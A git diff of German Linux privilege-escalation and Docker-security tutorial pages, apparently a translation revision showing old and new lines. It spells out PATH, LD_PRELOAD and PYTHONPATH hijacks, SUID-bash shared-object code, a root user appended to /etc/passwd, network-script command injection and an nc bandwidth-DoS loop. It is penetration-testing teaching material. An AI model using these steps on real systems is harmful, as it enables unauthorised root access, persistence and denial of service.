Beachten Sie, dass es einige **Sockets geben kann, die auf HTTP**-Anfragen hören (_ich spreche nicht von .socket-Dateien, sondern von den Dateien, die als Unix-Sockets fungieren_). Sie können dies überprüfen mit:
Beachten Sie, dass es einige **Sockets gibt, die auf HTTP**-Anfragen hören (_ich spreche nicht von .socket-Dateien, sondern von den Dateien, die als Unix-Sockets fungieren_). Sie können dies überprüfen mit:
```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```
@ -564,9 +564,9 @@ runc-privilege-escalation.md
D-Bus ist ein ausgeklügeltes **Inter-Process Communication (IPC) System**, das es Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde mit dem modernen Linux-System im Hinterkopf entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation.
Das System ist vielseitig und unterstützt grundlegendes IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen den Systemkomponenten fördert. Zum Beispiel kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
Das System ist vielseitig und unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen den Systemkomponenten fördert. Zum Beispiel kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was das Benutzererlebnis verbessert. Darüber hinaus unterstützt D-Bus ein Remote-Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
D-Bus arbeitet nach einem **Erlauben/Verweigern-Modell**, das die Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln verwaltet. Diese Richtlinien spezifizieren Interaktionen mit dem Bus und können möglicherweise eine Privilegieneskalation durch die Ausnutzung dieser Berechtigungen ermöglichen.
D-Bus arbeitet nach einem **Erlauben/Verweigern-Modell**, das die Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln verwaltet. Diese Richtlinien spezifizieren Interaktionen mit dem Bus und ermöglichen möglicherweise eine Privilegieneskalation durch die Ausnutzung dieser Berechtigungen.
Ein Beispiel für eine solche Richtlinie in `/etc/dbus-1/system.d/wpa_supplicant.conf` wird bereitgestellt, die die Berechtigungen für den Root-Benutzer beschreibt, um Nachrichten von `fi.w1.wpa_supplicant1` zu besitzen, zu senden und zu empfangen.
@ -579,7 +579,7 @@ Richtlinien ohne einen angegebenen Benutzer oder eine Gruppe gelten universell,
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
```
**Lernen Sie, wie man eine D-Bus-Kommunikation enumeriert und ausnutzt:**
**Lernen Sie hier, wie man eine D-Bus-Kommunikation enumeriert und ausnutzt:**
{{#ref}}
d-bus-enumeration-and-command-injection-privilege-escalation.md
@ -698,7 +698,7 @@ Wenn Sie feststellen, dass Sie **in einen Ordner des $PATH** schreiben können,
### SUDO und SUID
Es könnte Ihnen erlaubt sein, einige Befehle mit sudo auszuführen oder sie könnten das suid-Bit haben. Überprüfen Sie dies mit:
Es könnte Ihnen erlaubt sein, einige Befehle mit sudo auszuführen oder sie könnten das SUID-Bit haben. Überprüfen Sie dies mit:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
@ -732,7 +732,7 @@ $ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
Dieses Beispiel, **basierend auf der HTB-Maschine Admirer**, war **anfällig** für **PYTHONPATH-Hijacking**, um eine beliebige Python-Bibliothek zu laden, während das Skript als Root ausgeführt wird:
Dieses Beispiel, **basierend auf der HTB-Maschine Admirer**, war **anfällig** für **PYTHONPATH-Hijacking**, um eine beliebige Python-Bibliothek zu laden, während das Skript als Root ausgeführt wurde:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
### Sudo-Befehl/SUID-Binärdatei ohne Befehls-Pfad
Wenn die **sudo-Berechtigung** für einen einzelnen Befehl **ohne Angabe des Pfades** erteilt wird: _hacker10 ALL= (root) less_, kannst du dies ausnutzen, indem du die PATH-Variable änderst.
Wenn die **sudo-Berechtigung** für einen einzelnen Befehl **ohne Angabe des Pfades** gewährt wird: _hacker10 ALL= (root) less_, kannst du dies ausnutzen, indem du die PATH-Variable änderst.
```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
@ -809,7 +809,7 @@ Dann **kompiliere es** mit:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
Schließlich, **erhöhen Sie die Berechtigungen** durch Ausführung
Schließlich **erhöhen Sie die Berechtigungen** durch Ausführung
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
@ -853,7 +853,7 @@ void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```
Dieser Code zielt darauf ab, die Berechtigungen zu erhöhen, indem er die Dateiberechtigungen manipuliert und eine Shell mit erhöhten Rechten ausführt, sobald er kompiliert und ausgeführt wird.
Dieser Code zielt darauf ab, die Berechtigungen zu erhöhen, indem er die Dateiberechtigungen manipuliert und eine Shell mit erhöhten Berechtigungen ausführt, sobald er kompiliert und ausgeführt wird.
Kompilieren Sie die obige C-Datei in eine Shared Object (.so) Datei mit:
```bash
@ -901,9 +901,13 @@ Das Projekt sammelt legitime Funktionen von Unix-Binärdateien, die missbraucht
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://gtfoargs.github.io/" %}
{{#ref}}
https://gtfoargs.github.io/
{{#endref}}
### FallOfSudo
@ -935,7 +939,7 @@ sudo su
bash exploit_v2.sh
/tmp/sh -p
```
- Der **dritte Exploit** (`exploit_v3.sh`) wird eine **sudoers-Datei erstellen**, die **sudo-Token ewig macht und allen Benutzern erlaubt, sudo zu verwenden**
- Der **dritte Exploit** (`exploit_v3.sh`) wird eine **sudoers-Datei erstellen**, die **sudo-Token ewig macht und allen Benutzern erlaubt, sudo zu verwenden**.
```bash
bash exploit_v3.sh
sudo su
@ -950,7 +954,7 @@ Wenn Sie beispielsweise die Datei _/var/run/sudo/ts/sampleuser_ überschreiben k
### /etc/sudoers, /etc/sudoers.d
Die Datei `/etc/sudoers` und die Dateien in `/etc/sudoers.d` konfigurieren, wer `sudo` verwenden kann und wie. Diese Dateien **können standardmäßig nur von Benutzer root und Gruppe root gelesen werden**.\
**Wenn** Sie diese Datei **lesen** können, könnten Sie in der Lage sein, **einige interessante Informationen zu erhalten**, und wenn Sie eine Datei **schreiben** können, werden Sie in der Lage sein, **Privilegien zu eskalieren**.
**Wenn** Sie diese Datei **lesen** können, könnten Sie in der Lage sein, **einige interessante Informationen zu erhalten**, und wenn Sie **irgendeine Datei schreiben** können, werden Sie in der Lage sein, **Privilegien zu eskalieren**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
@ -975,7 +979,7 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
Wenn Sie wissen, dass ein **Benutzer normalerweise eine Maschine verbindet und `sudo`** verwendet, um Privilegien zu eskalieren, und Sie haben eine Shell im Kontext dieses Benutzers erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root ausführt und dann den Befehl des Benutzers. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
Wenn Sie wissen, dass ein **Benutzer normalerweise eine Maschine verbindet und `sudo`** verwendet, um Privilegien zu eskalieren, und Sie haben eine Shell im Benutzerkontext erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root und dann den Befehl des Benutzers ausführt. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell (nicht bash) verwendet, andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie können ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) finden.
@ -1020,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
```
Durch das Kopieren der lib in `/var/tmp/flag15/` wird sie von dem Programm an diesem Ort verwendet, wie im `RPATH`-Variable angegeben.
Durch das Kopieren der lib in `/var/tmp/flag15/` wird sie von dem Programm an diesem Ort verwendet, wie im `RPATH`-Variablen angegeben.
```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@ -1076,7 +1080,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
In **alten Versionen** können Sie einige **Shell**-Sitzungen eines anderen Benutzers (**root**) **übernehmen**.\
In **neueren Versionen** können Sie nur zu Screen-Sitzungen Ihres **eigenen Benutzers** **verbinden**. Sie könnten jedoch **interessante Informationen innerhalb der Sitzung** finden.
### Übernahme von Screen-Sitzungen
### Screen-Sitzungen übernehmen
**Liste der Screen-Sitzungen**
```bash
@ -1126,7 +1130,7 @@ Dieser Fehler tritt auf, wenn ein neuer SSH-Schlüssel in diesen Betriebssysteme
- **PasswordAuthentication:** Gibt an, ob die Passwortauthentifizierung erlaubt ist. Der Standardwert ist `no`.
- **PubkeyAuthentication:** Gibt an, ob die Authentifizierung mit öffentlichem Schlüssel erlaubt ist. Der Standardwert ist `yes`.
- **PermitEmptyPasswords**: Wenn die Passwortauthentifizierung erlaubt ist, gibt es an, ob der Server die Anmeldung bei Konten mit leeren Passwortzeichenfolgen erlaubt. Der Standardwert ist `no`.
- **PermitEmptyPasswords**: Wenn die Passwortauthentifizierung erlaubt ist, gibt an, ob der Server die Anmeldung bei Konten mit leeren Passwortzeichenfolgen erlaubt. Der Standardwert ist `no`.
### PermitRootLogin
@ -1139,7 +1143,7 @@ Gibt an, ob root sich über SSH anmelden kann, der Standardwert ist `no`. Mögli
### AuthorizedKeysFile
Gibt Dateien an, die die öffentlichen Schlüssel enthalten, die für die Benutzerauthentifizierung verwendet werden können. Sie kann Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Sie können absolute Pfade** (beginnend mit `/`) oder **relative Pfade vom Home-Verzeichnis des Benutzers** angeben. Zum Beispiel:
Gibt Dateien an, die die öffentlichen Schlüssel enthalten, die für die Benutzerauthentifizierung verwendet werden können. Sie kann Tokens wie `%h` enthalten, die durch das Home-Verzeichnis ersetzt werden. **Sie können absolute Pfade angeben** (beginnend mit `/`) oder **relative Pfade vom Home-Verzeichnis des Benutzers**. Zum Beispiel:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
@ -1196,7 +1200,7 @@ openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
```
Fügen Sie dann den Benutzer `hacker` hinzu und fügen Sie das generierte Passwort hinzu.
Dann fügen Sie den Benutzer `hacker` hinzu und fügen Sie das generierte Passwort hinzu.
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
@ -1225,7 +1229,7 @@ Group=root
```
Ihr Backdoor wird beim nächsten Start von tomcat ausgeführt.
### Überprüfen Sie die Ordner
### Überprüfen von Ordnern
Die folgenden Ordner können Backups oder interessante Informationen enthalten: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Wahrscheinlich können Sie den letzten nicht lesen, aber versuchen Sie es)
```bash
@ -1248,7 +1252,7 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat
done
done
```
### Geänderte Dateien in den letzten Minuten
### Modifizierte Dateien in den letzten Minuten
```bash
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
```
@ -1288,7 +1292,7 @@ Lesen Sie den Code von [**linPEAS**](https://github.com/carlospolop/privilege-es
### Protokolle
Wenn Sie Protokolle lesen können, könnten Sie **interessante/vertrauliche Informationen darin finden**. Je seltsamer das Protokoll ist, desto interessanter wird es sein (wahrscheinlich).\
Außerdem könnten einige "**schlecht**" konfigurierte (backdoored?) **Audit-Protokolle** es Ihnen ermöglichen, **Passwörter** in Audit-Protokollen aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Außerdem könnten einige "**schlecht**" konfigurierten (backdoored?) **Audit-Protokolle** es Ihnen ermöglichen, **Passwörter** in Audit-Protokollen aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1306,14 +1310,14 @@ Um **Protokolle zu lesen, wird die Gruppe** [**adm**](interesting-groups-linux-p
~/.zlogin #zsh shell
~/.zshrc #zsh shell
```
### Generic Creds Search/Regex
### Generische Creds Suche/Regex
Sie sollten auch nach Dateien suchen, die das Wort "**password**" in ihrem **Namen** oder im **Inhalt** enthalten, und auch nach IPs und E-Mails in Protokollen oder Hashes Regexps suchen.\
Ich werde hier nicht auflisten, wie man all dies macht, aber wenn Sie interessiert sind, können Sie die letzten Überprüfungen, die [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) durchführt, überprüfen.
## Writable files
## Schreibbare Dateien
### Python library hijacking
### Python-Bibliothek Hijacking
Wenn Sie wissen, **woher** ein Python-Skript ausgeführt wird und Sie **in diesen Ordner schreiben können** oder **Python-Bibliotheken modifizieren können**, können Sie die OS-Bibliothek modifizieren und einen Backdoor einfügen (wenn Sie dort schreiben können, wo das Python-Skript ausgeführt wird, kopieren und fügen Sie die os.py-Bibliothek ein).
@ -1338,11 +1342,11 @@ Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedeta
**Schwachstellenreferenz:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
Wenn ein Benutzer aus irgendeinem Grund in der Lage ist, ein `ifcf-<whatever>`-Skript in _/etc/sysconfig/network-scripts_ **zu schreiben** **oder** ein bestehendes **anzupassen**, dann ist Ihr **System kompromittiert**.
Wenn ein Benutzer aus irgendeinem Grund in der Lage ist, ein `ifcf-<whatever>`-Skript in _/etc/sysconfig/network-scripts_ **zu schreiben** **oder** ein vorhandenes **anzupassen**, dann ist Ihr **System kompromittiert**.
Netzwerkskripte, wie _ifcg-eth0_, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch \~sourced\~ auf Linux durch den Network Manager (dispatcher.d).
In meinem Fall wird das `NAME=`-Attribut in diesen Netzwerkskripten nicht korrekt behandelt. Wenn Sie **weißen/leer Raum im Namen haben, versucht das System, den Teil nach dem weißen/leer Raum auszuführen**. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**.
In meinem Fall wird das `NAME=`-Attribut in diesen Netzwerkskripten nicht korrekt behandelt. Wenn Sie **Leerzeichen im Namen haben, versucht das System, den Teil nach dem Leerzeichen auszuführen**. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**.
Zum Beispiel: _/etc/sysconfig/network-scripts/ifcfg-1337_
```bash
@ -1354,9 +1358,9 @@ DEVICE=eth0
Das Verzeichnis `/etc/init.d` ist die Heimat von **Skripten** für System V init (SysVinit), dem **klassischen Linux-Dienstverwaltungssystem**. Es enthält Skripte zum `starten`, `stoppen`, `neustarten` und manchmal `neu laden` von Diensten. Diese können direkt oder über symbolische Links in `/etc/rc?.d/` ausgeführt werden. Ein alternativer Pfad in Redhat-Systemen ist `/etc/rc.d/init.d`.
Andererseits ist `/etc/init` mit **Upstart** verbunden, einer neueren **Dienstverwaltung**, die von Ubuntu eingeführt wurde und Konfigurationsdateien für Aufgaben der Dienstverwaltung verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen aufgrund einer Kompatibilitätsschicht in Upstart verwendet.
Andererseits ist `/etc/init` mit **Upstart** verbunden, einer neueren **Dienstverwaltung**, die von Ubuntu eingeführt wurde und Konfigurationsdateien für Dienstverwaltungsaufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen aufgrund einer Kompatibilitätsschicht in Upstart verwendet.
**systemd** tritt als modernes Initialisierungs- und Dienstverwaltungssystem auf und bietet fortschrittliche Funktionen wie das Starten von Daemons nach Bedarf, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
**systemd** tritt als moderner Initialisierungs- und Dienstmanager auf und bietet erweiterte Funktionen wie das Starten von Daemons nach Bedarf, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
## Weitere Tricks

46
src/linux-hardening/privilege-escalation/docker-security/README.md
View File

@ -4,7 +4,7 @@
## **Grundlegende Sicherheit des Docker-Engines**
Der **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Kernels, um Container zu isolieren und bietet eine grundlegende Sicherheitsebene. Zusätzlicher Schutz wird durch **Capabilities dropping**, **Seccomp** und **SELinux/AppArmor** bereitgestellt, was die Container-Isolation verbessert. Ein **auth plugin** kann die Benutzeraktionen weiter einschränken.
Der **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Kernels, um Container zu isolieren, und bietet eine grundlegende Sicherheitsebene. Zusätzlicher Schutz wird durch **Capabilities dropping**, **Seccomp** und **SELinux/AppArmor** bereitgestellt, was die Container-Isolation verbessert. Ein **auth plugin** kann die Benutzeraktionen weiter einschränken.
![Docker-Sicherheit](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@ -40,7 +40,7 @@ Für weitere [**Informationen lesen Sie dies**](https://docs.docker.com/engine/s
- **`docker scan`**
Der **`docker scan`** Befehl ermöglicht es Ihnen, vorhandene Docker-Images mit dem Bildnamen oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das hello-world-Image zu scannen:
Der **`docker scan`** Befehl ermöglicht es Ihnen, vorhandene Docker-Images anhand des Bildnamens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das hello-world-Image zu scannen:
```bash
docker scan hello-world
@ -102,7 +102,7 @@ In containerisierten Umgebungen ist die Isolierung von Projekten und deren Proze
**Control Groups (CGroups)**
- **Funktion**: Primär verwendet zur Zuteilung von Ressourcen unter Prozessen.
- **Funktion**: Hauptsächlich zur Zuteilung von Ressourcen unter Prozessen verwendet.
- **Sicherheitsaspekt**: CGroups selbst bieten keine Isolationssicherheit, außer für die Funktion `release_agent`, die, wenn sie falsch konfiguriert ist, potenziell für unbefugten Zugriff ausgenutzt werden könnte.
**Capability Drop**
@ -110,7 +110,7 @@ In containerisierten Umgebungen ist die Isolierung von Projekten und deren Proze
- **Bedeutung**: Es ist ein entscheidendes Sicherheitsmerkmal für die Prozessisolierung.
- **Funktionalität**: Es schränkt die Aktionen ein, die ein Root-Prozess ausführen kann, indem bestimmte Fähigkeiten entzogen werden. Selbst wenn ein Prozess mit Root-Rechten ausgeführt wird, verhindert das Fehlen der erforderlichen Fähigkeiten, dass er privilegierte Aktionen ausführt, da die Syscalls aufgrund unzureichender Berechtigungen fehlschlagen.
Dies sind die **verbleibenden Fähigkeiten**, nachdem der Prozess die anderen fallen gelassen hat:
Dies sind die **verbleibenden Fähigkeiten**, nachdem der Prozess die anderen entzogen hat:
```
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
@ -168,7 +168,7 @@ cgroups.md
Fähigkeiten ermöglichen **eine genauere Kontrolle über die Fähigkeiten, die für den Root-Benutzer erlaubt sein können**. Docker verwendet die Linux-Kernel-Fähigkeitsfunktion, um **die Operationen zu begrenzen, die innerhalb eines Containers durchgeführt werden können**, unabhängig von der Art des Benutzers.
Wenn ein Docker-Container ausgeführt wird, **gibt der Prozess sensible Fähigkeiten auf, die der Prozess nutzen könnte, um aus der Isolation zu entkommen**. Dies versucht sicherzustellen, dass der Prozess keine sensiblen Aktionen ausführen und entkommen kann:
Wenn ein Docker-Container ausgeführt wird, **verliert der Prozess sensible Fähigkeiten, die der Prozess nutzen könnte, um aus der Isolation zu entkommen**. Dies versucht sicherzustellen, dass der Prozess keine sensiblen Aktionen ausführen und entkommen kann:
{{#ref}}
../linux-capabilities.md
@ -209,7 +209,7 @@ Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines C
In Docker spielt ein Autorisierungs-Plugin eine entscheidende Rolle für die Sicherheit, indem es entscheidet, ob Anfragen an den Docker-Daemon erlaubt oder blockiert werden. Diese Entscheidung wird getroffen, indem zwei wichtige Kontexte untersucht werden:
- **Authentifizierungskontext**: Dies umfasst umfassende Informationen über den Benutzer, wie wer sie sind und wie sie sich authentifiziert haben.
- **Befehlskontext**: Dies umfasst alle relevanten Daten, die mit der gestellten Anfrage zusammenhängen.
- **Befehlskontext**: Dies umfasst alle relevanten Daten, die sich auf die gestellte Anfrage beziehen.
Diese Kontexte helfen sicherzustellen, dass nur legitime Anfragen von authentifizierten Benutzern verarbeitet werden, was die Sicherheit der Docker-Operationen erhöht.
@ -229,7 +229,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
# While loop
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
```
- Bandwidth DoS
- Bandbreiten-DoS
```bash
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
```
@ -237,7 +237,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
### --privileged-Flag
Auf der folgenden Seite können Sie lernen, **was der `--privileged`-Flag impliziert**:
Auf der folgenden Seite können Sie lernen, **was der `--privileged`-Flag bedeutet**:
{{#ref}}
docker-privileged.md
@ -247,9 +247,9 @@ docker-privileged.md
#### no-new-privileges
Wenn Sie einen Container ausführen, in dem ein Angreifer es schafft, als Benutzer mit niedrigen Rechten Zugriff zu erhalten. Wenn Sie eine **fehlerhaft konfigurierte SUID-Binärdatei** haben, kann der Angreifer diese missbrauchen und **die Privilegien innerhalb** des Containers eskalieren. Dies könnte ihm ermöglichen, aus dem Container zu entkommen.
Wenn Sie einen Container ausführen, in dem ein Angreifer es schafft, als Benutzer mit niedrigen Rechten Zugriff zu erhalten. Wenn Sie eine **fehlerhaft konfigurierte SUID-Binärdatei** haben, kann der Angreifer diese missbrauchen und **die Berechtigungen innerhalb** des Containers eskalieren. Dies könnte ihm ermöglichen, aus dem Container zu entkommen.
Das Ausführen des Containers mit der aktivierten **`no-new-privileges`**-Option wird **diese Art der Privilegieneskalation verhindern**.
Das Ausführen des Containers mit der aktivierten **`no-new-privileges`**-Option wird **diese Art der Berechtigungseskalation verhindern**.
```
docker run -it --security-opt=no-new-privileges:true nonewpriv
```
@ -274,7 +274,7 @@ Für weitere **`--security-opt`** Optionen siehe: [https://docs.docker.com/engin
### Verwaltung von Geheimnissen: Best Practices
Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder Umgebungsvariablen zu verwenden, da diese Methoden Ihre sensiblen Informationen für jeden, der Zugriff auf den Container hat, durch Befehle wie `docker inspect` oder `exec` offenlegen.
Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder Umgebungsvariablen zu verwenden, da diese Methoden Ihre sensiblen Informationen für jeden, der Zugriff auf den Container hat, durch Befehle wie `docker inspect` oder `exec` zugänglich machen.
**Docker-Volumes** sind eine sicherere Alternative, die empfohlen wird, um auf sensible Informationen zuzugreifen. Sie können als temporäres Dateisystem im Speicher genutzt werden, wodurch die Risiken im Zusammenhang mit `docker inspect` und Protokollierung gemindert werden. Allerdings könnten Root-Benutzer und solche mit `exec`-Zugriff auf den Container weiterhin auf die Geheimnisse zugreifen.
@ -283,7 +283,7 @@ Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder
Um BuildKit zu nutzen, kann es auf drei Arten aktiviert werden:
1. Durch eine Umgebungsvariable: `export DOCKER_BUILDKIT=1`
2. Durch das Voranstellen von Befehlen: `DOCKER_BUILDKIT=1 docker build .`
2. Durch das Präfixen von Befehlen: `DOCKER_BUILDKIT=1 docker build .`
3. Durch die standardmäßige Aktivierung in der Docker-Konfiguration: `{ "features": { "buildkit": true } }`, gefolgt von einem Docker-Neustart.
BuildKit ermöglicht die Verwendung von Geheimnissen zur Bauzeit mit der Option `--secret`, um sicherzustellen, dass diese Geheimnisse nicht im Image-Bau-Cache oder im endgültigen Image enthalten sind, indem ein Befehl wie folgt verwendet wird:
@ -309,36 +309,40 @@ In Kubernetes-Umgebungen werden Secrets nativ unterstützt und können mit Tools
### gVisor
**gVisor** ist ein Anwendungs-Kernel, der in Go geschrieben ist und einen wesentlichen Teil der Linux-Systemoberfläche implementiert. Er umfasst eine [Open Container Initiative (OCI)](https://www.opencontainers.org) Runtime namens `runsc`, die eine **Isolationsgrenze zwischen der Anwendung und dem Host-Kernel** bietet. Die `runsc` Runtime integriert sich mit Docker und Kubernetes, was es einfach macht, sandboxed Container auszuführen.
**gVisor** ist ein Anwendungs-Kernel, der in Go geschrieben ist und einen wesentlichen Teil der Linux-Systemoberfläche implementiert. Er enthält eine [Open Container Initiative (OCI)](https://www.opencontainers.org) Runtime namens `runsc`, die eine **Isolationsgrenze zwischen der Anwendung und dem Host-Kernel** bietet. Die `runsc` Runtime integriert sich mit Docker und Kubernetes, was es einfach macht, sandboxed Container auszuführen.
{% embed url="https://github.com/google/gvisor" %}
{{#ref}}
https://github.com/google/gvisor
{{#endref}}
### Kata Containers
**Kata Containers** ist eine Open-Source-Community, die daran arbeitet, eine sichere Container-Runtime mit leichten virtuellen Maschinen zu erstellen, die sich anfühlen und wie Container funktionieren, aber **stärkere Arbeitslastisolierung durch Hardware-Virtualisierung** Technologie als zweite Verteidigungsebene bieten.
**Kata Containers** ist eine Open-Source-Community, die daran arbeitet, eine sichere Container-Runtime mit leichten virtuellen Maschinen zu erstellen, die sich anfühlen und funktionieren wie Container, aber **stärkere Arbeitslastisolierung durch Hardware-Virtualisierung** Technologie als zweite Verteidigungsebene bieten.
{% embed url="https://katacontainers.io/" %}
{{#ref}}
https://katacontainers.io/
{{#endref}}
### Zusammenfassende Tipps
- **Verwenden Sie nicht das `--privileged` Flag oder mounten Sie einen** [**Docker-Socket innerhalb des Containers**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Der Docker-Socket ermöglicht das Erstellen von Containern, sodass es ein einfacher Weg ist, die vollständige Kontrolle über den Host zu übernehmen, indem beispielsweise ein weiterer Container mit dem `--privileged` Flag ausgeführt wird.
- **Verwenden Sie nicht das `--privileged` Flag oder mounten Sie einen** [**Docker-Socket innerhalb des Containers**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Der Docker-Socket ermöglicht das Erstellen von Containern, sodass es ein einfacher Weg ist, die vollständige Kontrolle über den Host zu übernehmen, indem beispielsweise ein anderer Container mit dem `--privileged` Flag ausgeführt wird.
- **Führen Sie nicht als root innerhalb des Containers aus. Verwenden Sie einen** [**anderen Benutzer**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **und** [**Benutzernamensräume**](https://docs.docker.com/engine/security/userns-remap/)**.** Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen umgeschrieben. Er ist nur leicht eingeschränkt durch hauptsächlich Linux-Namensräume, Fähigkeiten und cgroups.
